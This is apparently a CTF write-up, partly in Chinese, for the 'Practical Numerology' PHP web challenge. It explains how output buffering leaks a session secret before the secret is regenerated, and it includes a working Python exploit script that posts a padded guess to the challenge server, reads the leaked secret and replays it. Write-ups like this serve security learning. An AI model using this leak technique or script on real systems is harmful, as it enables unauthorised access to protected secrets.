Practical Numerology

Abstract

  • Category : web
  • Language : php
  • Type : time-base vulnerability

Description

Here's a lotto script, running on my old and slow computer. Can you pwn it?

Problem

<?php

function generate_secret()
{
    $f = fopen('/dev/urandom','rb');
    $secret1 = fread($f,32);
    $secret2 = fread($f,32);
    fclose($f);
    
    return sha1($secret1).sha1($secret2);
}

session_start();

if(!isset($_SESSION['secret']))
    $_SESSION['secret'] = generate_secret();
    
if(!isset($_POST['guess']))
{
    echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL;
    highlight_file(__FILE__);
    exit;
}

$guess = $_POST['guess'];

if($guess === $_SESSION['secret'])
{
    $flag = require('flag.php');
    exit('Lucky bastard! You won the flag! ' . $flag);
}
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";

$_SESSION['secret'] = generate_secret();

Procedure

網頁題最重要的一點就是找出題目的類型,SQL injection? XSS? logical vulnerability?
本題很明顯不是 SQL injection ,是故我在嘗試找邏輯漏洞和 XSS 花了不少時間.
首先邏輯漏洞最大嫌疑點在於判斷式

<?php
if($guess === $_SESSION['secret']){}

可惜在 === 的狀況下,沒有 '0e123' == '0e321' 的漏洞,在此可以斷定沒有邏輯上的漏洞.
(請求連結參考)
XSS 自己不太熟捻,不然第一時間就該判斷出不可能,畢竟就算寫了 javascript 也拿到不 session.
我一度想過本題的正解 時間差攻擊
因為 secret 會先 echo 出來,
才會進行 generate_secret() 更改 secret.

<?php
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";
$_SESSION['secret'] = generate_secret();

可惜被某人誤導(ry):php 必須在執行完畢後才會開始輸出(不flush()時)
就沒有嘗試寫腳本了,必須檢討QQ

事實上 php 會參考 php.ini output_buffering 所設定的大小
當 echo 超過定量字數後,就開始 output 到 client
是故不一定需要 flush 就能夠使用 time-base attack
關於 output_buffering

Solution

#!/usr/bin/python
#
# Teaser CONFidence CTF 2015
# Practical numerology (WEB/300)
#
# @a: Smoke Leet Everyday
# @u: https://github.com/smokeleeteveryday
#

import socket
import re

url = '134.213.136.172'
data = 'guess='

payload1 = 'GET / HTTP/1.1\r\n'
payload1 += 'Host: 134.213.136.172\r\n\r\n'

payload2 = "POST / HTTP/1.1\r\n"
payload2 += "Host: 134.213.136.172\r\n"
payload2 += "Cookie: PHPSESSID={}\r\n"
payload2 += "Content-Length: {}\r\n"
payload2 += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
payload2 += "{}"

#拿cookie (非必要,本題可以自行指定cookie)
s = socket.create_connection((url, 80))
s.send(payload1)
cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0]
s.close()
#拿secret
s = socket.create_connection((url, 80))
guess = data + 'A'*1000000 #第一次猜測時,受過塞爆 guess 拖延 echo 時間
s.send(payload2.format(cookie, len(guess), guess))
secret = re.findall("'(.*)' !=", s.recv(500))[0] # 讀到 secret 就停止,進行下一輪送 guess
s.close()
#送secret
s = socket.create_connection((url, 80))
guess = data + secret
s.send(payload2.format(cookie, len(guess), guess))
print s.recv(2000).splitlines()[-1]
s.close()

Reference